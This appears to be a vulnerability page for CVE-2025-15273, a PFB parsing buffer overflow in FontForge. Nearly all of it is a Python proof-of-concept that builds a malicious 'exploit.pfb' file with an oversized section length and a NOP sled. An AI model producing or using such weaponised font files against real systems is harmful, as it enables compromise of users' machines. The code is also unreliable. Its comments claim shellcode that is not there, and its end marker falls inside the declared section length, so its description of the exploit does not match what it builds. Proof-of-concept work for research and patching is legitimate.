CVE-2025-15273 FontForge PFB文件解析栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-15273 PoC - FontForge PFB File Parsing Buffer Overflow This is a proof-of-concept demonstrating the vulnerability in FontForge's PFB parsing. Note: This code is for educational and security research purposes only. """ import struct import sys def create_malicious_pfb(): """ Creates a malicious PFB file that triggers buffer overflow in FontForge. The PFB format consists of marker, length, and data sections. """ pfb_data = bytearray() # PFB marker for section type 1 (binary data) pfb_data.extend(b'\x80') # Start marker pfb_data.extend(b'\x01') # Section type 1 # Craft an excessively long data section to overflow the stack buffer # The exact overflow size depends on FontForge's internal buffer implementation overflow_length = 0x2000 # 8KB of overflow data # PFB length field (little-endian 32-bit integer) pfb_data.extend(struct.pack('<I', overflow_length)) # Fill with NOP sled and shellcode pattern # This pattern helps land in executable code region malicious_payload = b'\x90' * (overflow_length - 64) # NOP sled # Add some identifiable pattern for debugging malicious_payload += b'\x41\x42\x43\x44' * 16 # ABCD pattern # End marker malicious_payload += b'\x80' + b'\x03' # End marker pfb_data.extend(malicious_payload) return bytes(pfb_data) def main(): print("[*] CVE-2025-15273 FontForge PFB Buffer Overflow PoC") print("[*] Creating malicious PFB file...") malicious_pfb = create_malicious_pfb() output_file = "exploit.pfb" with open(output_file, 'wb') as f: f.write(malicious_pfb) print(f"[+] Malicious PFB file created: {output_file}") print(f"[+] File size: {len(malicious_pfb)} bytes") print("[!] This file should be opened with a vulnerable version of FontForge") print("[!] Use only in controlled testing environments with proper authorization") if __name__ == "__main__": main()